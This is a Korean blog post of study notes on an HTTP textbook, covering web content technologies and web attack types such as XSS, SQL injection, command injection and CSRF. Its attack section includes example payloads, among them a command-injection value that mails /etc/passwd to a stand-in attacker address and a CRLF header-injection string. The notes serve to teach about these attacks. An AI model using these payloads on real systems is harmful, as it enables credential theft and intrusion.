본문 바로가기
독서&그 외

'그림으로 배우는 HTTP & Network Basic' 10장~11장

by winteringg 2022. 10. 7.
 

HTTP & Network Basic - 교보문고

재미있게 배워보는 웹과 네트워크 입문 | 이 책은 웹의 근간을 이루는 HTTP를 중심으로 하여 웹, 인터넷 데이터 통신 분야의 기초가 되는 내용들을 다루고 있습니다. 관련 분야를 배우고자 하는

www.kyobobook.co.kr


[제10장, 웹 콘텐츠에서 사용하는 기술]

HTML

 HTML (HyperText Markup Language) 은 웹 상에서 하이퍼텍스트를 보내기 위해 개발된 언어이다. 하이퍼텍스트란 문서 중에 임의의 장소의 정보가 다른 정보(문서나 이미지 등)에 링크되어 있는 문서이다. 마크업 언어는 문서의 일부에 특별한 문자열을 붙임으로써 문서를 수식하는 언어이다. 꺾쇠 태그 <> 를 사용해서 문자를 둘러쌓아 문서를 디자인하거나 이미지나 링크를 삽입할 수 있다.

우리가 보는 웹 페이지의 대부분은 이 HTML 로 쓰여진 문서를 브라우저가 해석해서 렌더링 처리 한 결과이다.

CSS

 CSS (Cascading Style Sheets) 는 HTML 각 요소를 어떻게 표시할지를 지시하는 것으로, 스타일 시트라고 불리는 사양 중에 하나이다. HTML 문서의 태그를 CSS 를 이용해서 바꾸면 브라우저에서 보이는 외관을 변경할 수 있다. CSS 는 문서의 구조와 디자인을 분리한다는 이념에서 만들어졌다.

DOM

DOM (Document Object Model) 은 HTML 문서와 XML 문서를 위한 API 이다. DOM 을 사용하면 HTML 내의 요소를 오브젝트로 다룰 수 있기 때문에 요소 내의 문자열을 추출하거나 CSS 를 프로퍼티로서 변경해 디자인을 변경할 수 있다. 그리고 JavaScript 등의 스크립트를 사용하여 HTML 을 쉽게 조작할 수 있다.

<script type="text/javascript">
  var content = document.getElementsByTagName('P');
  content[2].style.color = '#FF0000';
</script>

DOM 에는 여러 메서드가 준비되어 있다. 위 코드에서 getElementsByTagName() 이라는 메서드는 P 의 요소를 가져온다는 뜻이다.

웹 애플리케이션

 웹 애플리케이션은 웹 기능을 사용해서 제공되는 프로그램 (ex. 쇼핑 사이트, 인터넷 게시판 등) 을 지칭한다. 원래 HTTP 를 사용한 웹 구조는 사전에 준비된 콘텐츠를 클라이언트의 리퀘스트에 맞게 반환하는 것이다.

 하지만 웹이 보금됨에 따라 이것만으로는 부족해서 프로그램이 HTML 등의 콘텐츠를 생성할 필요가 생겼다. 이러한 프로그램에 의해서 생성된 콘텐츠를 동적 콘텐츠라고 부르고 사전에 준비된 HTML 을 반환하는 콘텐츠는 정적 콘텐츠라고 부른다. 웹 애플리케이션은 동적 콘텐츠에 해당된다.

CGI

 CGI (Common Gateway Interface) 는 웹 서버가 클라이언트에서 받은 리퀘스트를 프로그램에 전달하기 위한 구조이다. CGI 에 의해 프로그램은 리퀘스트 내용에 맞게 HTML 을 생성하는 등으로 동적 콘텐츠를 생성할 수 있다. 보통 Perl, PHP, Ruby, C언어 등의 프로그래밍 언어이다.

 하지만 리퀘스트마다 프로그램을 가동하기 때문에 대량으로 액세스가 있을 때 웹 서버에 부하가 걸리게 된다. 이 문제점을 해결하기 위한 기술로서 서블릿이 자바와 함께 보급되었다. 서블릿은 서버 상에 HTML 등의 동적 콘텐츠를 생성하기 위한 프로그램을 가리킨다.

XML

 XML (eXtensible Markup Language) 는 목적에 맞게 확장 가능한 범용적으로 사용할 수 있는 마크업 언어이다. XML 은 HTML 과 같은 문서 기술 언어 (SGML) 에서 파생된 것이지만 HTML 에 비해 데이터를 기술하는 것이 특화되어 있다. HTML 은 디자인이 변경되어 버리면 불러 오기 힘들기 때문에 데이터 구조를 기술하기에는 적합하지 않다.

 XML 은 데이터를 재사용하기 쉽다는 점에서 널리 이용되고 있다. 에를 들면 데이터 포맷으로서 서로 다른 애플리케이션 사이에서 이용되기도 한다.

RSS/Atom

 RSS 와 Atom 은 뉴스나 블로그의 기사 등의 갱신 정보를 송신하기 위한 문서 포맷의 총칭으로 둘 다 XML 을 사용하고 있다. 

 Atom 에는 다음과 같은 두 가지의 사양이 있다.

  • Atom 전송 포맷 (Atom Syndication Format) : 콘텐츠를 전송하기 위한 피드의 포맷으로 단순히 Atom 이라고 한 경우는 이 의미이다.
  • Atom 출판 프로토콜 (Atom Publishing Protocol) : 웹 상의 콘텐츠를 편집하기 위한 프로토콜이다.

JSON

 JSON (JavaScript Object Notation) 이라는 것은 경량 데이터 기술 언어이다. 다룰 수 있는 데이터형은 false/null/true/오브젝트/배열/수치/문자열 등의 7가지 종류이다.

 JSON 데이터는 단순하고 가볍게, 게다가 문자열을 자바스크립트에서 간단하게 읽어올 수 있다는 점에서 당초 XML 이 사용되던 Ajax 에서 JSON 을 널리 이용하게 되었다. 또한 여러 프로그래밍 언어도 JSON 을 쉽게 다루기 위한 라이브러리도 충실해졌다. 

 

[제11장, 웹 공격 기술]

HTTP 에는 보안 기능이 없다

 HTTP는 구조가 단순한 프로토콜이라 인증이나 세션 관리, 암호화 등의 보안 기능은 없다. 그래서 애플리케이션 인증이나 세션 관리 기능을 개발자가 설계하고 구현할 필요성이 생긴다. 하지만 제 각각의 개발자가 설계하기 때문에 각기 다르게 구현될뿐더러 보안 등급이 충분히 못해 공격자가 악용할 수 있는 취약성이 있는 상태로 가동되는 웹 사이트들이 많다. 

 웹 애플리케이션에 대한 공격은 HTTP 리퀘스트 메시지에 공격 코드를 실어서 실행 된다. 쿼리나 폼, HTTP 헤더, 쿠키 등을 경유해서 보내져 웹 애플리케이션에 취약성이 있을 경우 정보를 도둑맞거나 권한을 빼앗기는 일이 발생한다.

크로스 사이트 스크립팅 (XSS, Cross-Site Scripting)

 취약성이 있는 웹 사이트를 방문한 사용자의 브라우저에서 부정한 HTML 태그나 JavaScript 등을 동작시키는 공격이다. 동적으로 HTML을 생성하는 부분에서 취약성이 발생할 수 있다. 크로스 사이트 스크립팅에 의해 다음과 같은 영향을 받게 된다.

  • 가짜 입력 폼 등에 의해 유저의 개인 정보를 도둑맞는다.
  • 스크립트에 의해 유저의 쿠키 값이 도둑맞거나 피해자가 의도하지 않는 리퀘스트가 송신된다.
  • 가짜 문장이나 이미지 등이 표시된다.

SQL Injection

 SQL 은 관계형 데이터 베이스 관리 시스템에 대해 조작하는 데이터베이스 언어로 데이터 조작이나 데이터의 정의 등을 하기 위한 것이다. SQL 인젝션이란 웹 애플리케이션을 사용하고 있는 데이터 베이스에 SQL 명령문을 부정하게 실행하는 공격이다. 커다란 위협을 일으킬 수 있는 취약성으로 개인 정보나 기밀 정보 누설로 직결되기도 한다.

 대부분의 웹 애플리케이션은 데이터베이스를 이용하고 있고 테이블 내의 데이터 검색 및 추가, 삭제와 같은 처리가 발생할 경우 SQL 을 사용해서 데이터베이스에 액세스 한다. 만약 SQL 의 호출 방법에 부정한 명령문이 섞여 있을 경우 의도하지 않은 SQL 문이 삽입되어 실행되어 버리는 경우가 있다. SQL 인젝션에 의해 다음과 같은 영향을 받게 된다.

  • 데이터 베이스 내의 데이터 부정 열람이나 변조
  • 인증 회피
  • 데이터 베이스 서버를 경유한 프로그램 실행

 아래 SQL 문은 정상적으로 작동하는 명령문이다.

SELECT * FROM bookTbl WHERE author = '김철수' and flag = 1;


 이 SQL 문은 "데이터베이스 bookTbl 테이블에서 author = '김철수' 이면서 flag = 1 인 판매 가능한 행의 데이터를 표시하라" 고 지시하고 있다. 하지만 이 쿼리문을 아래처럼 바꿔보자

SELECT * FROM bookTbl WHERE author = '김철수--' and flag = 1;


 위 SQL 문에서 "--" 이후는 주석으로 처리된다. 즉 and flag = 1 이라는 조건이 무시된다. 그렇다면 결과로 flag 값에 관계 없이 author = 김철수 에 해당하는 모든 행이 추출되어 버린다. 이렇듯 SQL 인젝션은 공격자에 의해 개발자가 의도하지 않는 형태로 SQL 문장이 변경되어 구조가 파괴된다.

OS 커맨드 인젝션

 OS 커맨드 인젝션 (OS Command Injection) 이란 웹 애플리케이션을 경유하여 OS 명령을 부정하게 실행하는 공격이다. 쉘을 호출하는 함수가 있는 곳에서 발생한다. Windows 와 Linux 등의 커맨드 라인에서 프로그램을 가동하는 쉘에 대해 커맨드를 보낼 수 있다. 

 예를 들어 문의 폼에서 메일 송신 기능이 있다고 하자. 이 기능은 유저가 문의를 보냈을 때 접수가 완료되었다는 연락을 입력한 메일주소로 송신하는 기능이다.

my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: info@example.com¥n";


 프로그램에서는 open 함수에 의해서 sendmail 커맨드를 호출해서 메일 주소에 지정된 값 $adr 에 메일을 송신한다. 여기서 공격자는 아래의 값을 메일 주소로 지정한다.

; cat /etc/passwd | mail hack@example.jp


 이 값을 수신했을 때 프로그램 내에서 구성되는 명령은 아래와 같다.

| /usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp


 공격자가 입력한 값에서는 ";" 세미 콜론이 포함되어 있다. 이것은 OS 커맨드에 복수의 커맨드를 실행하기 위한 구별자로서 해석된다. 즉 sendmail 커맨드가 실행되고, 그 다음에 다른 커맨드인 cat /etc/passwd | mail hack@example.jp 가 실행된다. 그 결과 /etc/passwd 라는 Linux 의 계정 정보가 포함된 파일이 hack@example.jp 메일로 송신되게 된다.

HTTP 헤더 인젝션

 공격자가 리스폰스 헤더 필드에 개행 문자 등을 삽입함으로써 임의의 리스폰스 헤더 필드나 바디를 추가하는 수동적 공격이다. 특히 바디를 추가하는 공격을 HTTP 리스폰스 분할 공격 (HTTP Response Splitting Attack) 라고 부른다.

 웹 애플리케이션에서는 다음과 같이 리스폰스 헤더 필드 Location 과 Set-Cookie 의 값에 외부에서 받은 값을 삽입하는 일이 있다. 숫자 12345 가 외부에서 삽입된 값이다.

Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345


 HTTP 헤더 인젝션은 이러한 리스폰스 헤더 필드에 값을 출력하는 처리가 있던 곳에 개행 문자를 삽입함으로써 발생할 수 있다. HTTP 헤더 인젝션에 의해서 다음과 같은 영향을 받을 수 있다.

  • 임의의 쿠키 세트
  • 임의의 URL 에 리다이렉트
  • 임의의 바디 표시 (HTTP 리스폰스 분할 공격)

위의 리스폰스 헤더 필드를 공격자가 조작하는 방식으로 다시 바꿔보자.

101%0D%0ASet-Cookie:+SID=123456789


 %0D%0A 는 HTTP 메시지의 개행 문자를 의미하고, 뒤에 이어지는 내용은 공격자 사이트 (http://hackr.jp/) 의 세션 ID 에 SID=123456 를 강제적으로 세트하기 위한 Set-Cookie 헤더 필드이다. 리퀘스트를 보낸 결과로 아래와 같은 내용의 리스폰스가 반환되었다고 가정하자.

Location: http://www.example.com/?cat=101(%0D%0A)
Set-Cookie: SID=123456789


 이 때, Set-Cookie 헤더 필드가 유효하기 때문에 공격자가 지정한 임의의 쿠키가 세팅되어 버린다. 이것은 세션 픽세이션 (Session Fixation) 이라는, 공격자가 지정한 세션 ID 를 사용하게 하는 공격과 조합함으로써 유저로 위장할 가능성이 있다. 

 공격자가 삽입한 %0D%0A 는 원래 Location 헤더 필드의 쿼리 값이 되어야 하지만 개행 문자로 해석되어버려 새로운 헤더 필드가 추가되는 결과를 초래한다. 이로 인해 공격자는 임의의 헤더 필드를 리스폰스에 삽입할 수 있게 된다.

부적절한 에러 메시지 처리

부적절한 에러 메시지 처리 (Error Handling Vulnerability) 는 공격자에서 유익한 정보가 웹 애플리케이션의 에러 메시지에 포함된다는 취약성이다. 웹 애플리케이션에 관계된 주요 에러 메시지에는 다음과 같은 것이 있다.

1) 웹 애플리케이션에 의한 에러 메시지 : 인증 기능의 인증 에러를 예로 부적절한 에러 메시지 처리를 설명한다. 이 기능은 입력한 메일 주소와 패스워드의 조합이 잘못되었을 때 에러 메시지를 표시하는 기능이다.

[메일 주소가 등록되어 있지 않습니다.] 라는 메세지는 등록되어 있는 메일 주소라면 다른 메시지로 표시된다. 표시되는 메세지의 차이에 의해서 계정의 존재 유무를 공격자에게 전달하는 것이 된다. 오류 메세지를 공격의 힌트로서 이용되지 않도록 하기 위해서는 [인증 에러입니다.] 라는 정도의 내용으로 표시 할 필요가 있다.

2) 데이터베이스 등의 시스템에 의한 에러 메시지 : 검색 기능 오류를 예로 부적절한 에러 메세지 처리를 설명한다. 검색을 수행하는 기능에서 예상하지 못한 문자열이 입력되었을 때 데이터베이스의 에러가 표시된다. 사용하고 있는 데이터 베이스 시스템을 공격자에게 알려줄 수 있고, SQL 쿼리 문장 일부도 표시되기 때문에 공격자가 SQL 인젝션을 하기 위한 힌트로 사용할 수 있다.

Session Hijack

 세션 하이잭은 공격자가 어떠한 방법으로 유저의 세션 ID 를 입수해서 악용하는 것으로, 유저로 위장하는 공격이다. 유저의 세션 ID 를 입수한 공격자는 브라우저의 쿠키에 세션 ID 를 세팅하고 웹 사이트에 액세스하여 유저로 위장한다.

 인증기능이 있는 웹 애플리케이션에서는 세션 ID 를 사용한 세션 관리 기구에 의해서 인증 상태를 관리하는 방법이 대부분이다. 클라이언트에서는 쿠키 등에 세션 ID 를 기록하고 서버에서는 세션 ID 와 인증 상태 등을 연동해서 관리하고 있다.

CSRF (Cross-Site Request Forgeries)

 인증된 유저가, 의도하지 않는 개인 정보나 설정 정보 등을 공격자가 설치해 둔 함정에 의해 어떤 상태의 갱신 처리를 강제로 실행시키는 공격으로 수동적 공격이다. 다음과 같은 영향을 받을 수 있다.

  • 인증된 유저의 권한으로 설정 정보 등을 갱신
  • 인증된 유저의 권한으로 상품을 구입
  • 인증된 유저의 권한으로 게시판에 글 작성

네트워크 경유로 패스워드 크래킹

 웹 애플리케이션이 제공하는 인증 기능에 대해 네트워크 경유로 패스워드 후보를 시험해보는 공격이다. 다음과 같은 방법이 있다.

1) 무차별 대입 공격 (Brute-force Attack) : 모든 키의 집합 키 공간, 즉 비밀번호 시스템에서 취할 수 있는 모든 패스워드 후보를 시험해서 인증을 돌파하는 공격이다. 패스워드가 "숫자 4자리" 인 경우, "0000" ~ "9999" 까지의 모든 후보를 시험한다.

 무차별 대입 공격은 이렇듯 모든 후보를 테스트하므로 반드시 패스워드를 해독할 수 밖에 없는 공격이다. 다만 키 공간이 클 경우에는 해독하는 데 몇 년, 혹은 몇 천 년이 걸릴 수도 있기 때문에 현실적으로 공격이 성공하지 못할 수도 있다. 

3) 사전 공격 (Dictionary Attack) : 사전에 패스워드 후보를 준비해두고 그것을 시험해 봄으로써 인증을 돌파하는 공격이다. 패스워드가 숫자 4자리인 은행의 비밀번호 같은 경우에는 생일이 사용되고 있을 가능성이 높다. 이 경우, 생일을 수치화한 "0101" ~ "1231" 을 사전 테스트한다. 

암호화된 패스워드를 해독

 웹 애플리케이션으로 이용하는 패스워드를 보존할 경우, 패스워드를 평문 그대로 보존하지 않고 해시 함수를 사용해 해시화나 salt 등의 방법으로 암호화를 한다. 공격자가 어떠한 수단으로 패스워드 데이터를 훔쳤다 하더라도 이를 이용하기 위해서 해독하는 등 평문을 손에 넣어야 한다. 암호화된 데이터로부터 평문을 도출하는 방법으로는 다음과 같은 것이 있다.

1) 무차별 대입 공격 / 사전 공격에 의한 유추 : 암호화에 해시 함수를 사용한 경우 무차별 대입 공격이나 사전 공격과 같은 수법으로 패스워드 후보에 같은 해시 함수를 적용해 시험해 보면서 해시 값을 만들어내서 패스워드를 유추할 수 있다.

2) 레인보우 테이블 (Rainbow Table) : 평문과 그에 대응하는 해시값으로 구성된 데이터베이스 테이블이다. 사전에 거대한 테이블을 만들어 무차별 대입 공격 / 사전 공격 등에 걸리는 시간을 단축하는 테크닉이다. 레인보우 테이블에서 해시 값을 검색해 이에 맞는 평문을 이끌어낼 수 있다.

DoS

 DoS (Denial of Service Attack) 라고 하는 공격은 한글로 풀어서 설명하면 '서비스 거부 공격'이다. 시스템을 악의적으로 공격해 해당 시스템의 리소스를 부족하게 하여 서비스 불가 상태로 만드는 공격으로서 시스템의 가용성을 무너뜨리는 공격의 종류이다. 이 공격은 웹 사이트만이 아니라 네트워크 기기나 서버 등을 대상으로 공격하는 경우도 있다. DoS 에는 몇 가지 방법으로 침투할 수 있다.

  1. 데이터나 디스크, 또는 시스템을 파괴한다.
  2. 액세스를 집중시킴으로써 부하를 걸어 시스템의 자원을 다 소진 시키는 공격도 있다. CPU 의 자원을 소진시키는 공격과 메모리를 사용하는 공격, 디스크 용량을 모두 소진시키는 공격 등이 있다.
  3. 시스템과는 다르게 네트워크의 대역폭을 소진시키는 공격도 있다. 대표적으로 HTTP 서버를 DoS 로 무력화시키면 해당 웹사이트가 서비스 불가 상태가 된다.

 이 중에서도 액세스를 집중시키는 공격은 대량의 액세스를 보낸다는 점에서 단순해 보이지만, 공격 이외의 정상적인 액세스와 구별이 힘들다는 이유도 있어서 방지하는 것은 쉽지 않다.

DDoS

 DoS 의 연장선상으로 여러 대의 컴퓨터에서 실행하는 DoS 공격을 DDoS (Distribute Denial of Server attack) 공격, 분산 서비스 공격 이라고 한다. DDoS 공격을 수행하는 컴퓨터는 좀비 PC 라고 불린다. 공격의 흐름은 아래와 같다.

https://avinetworks.com/glossary/ddos-attack/

 

  • 공격자는 C&C 서버에게 명령어를 전달한다.
  • C&C 서버는 공격자로부터 명령을 받아 감염되어 있는 좀비 PC 에 분산하여 명령을 전달한다.
  • 좀비 PC 는 명령을 수행하여 타겟 PC 를 공격한다. 이 좀비 PC 들을 Bot 이라고 하기도 한다. Bot 은 어느 컴퓨터나 될 수 있다.

 이 두가지 외에도 DRDoS 공격이라고, DDoS 공격이 한 단계 더 진화한 형태의 공격 방식도 있다.

 

댓글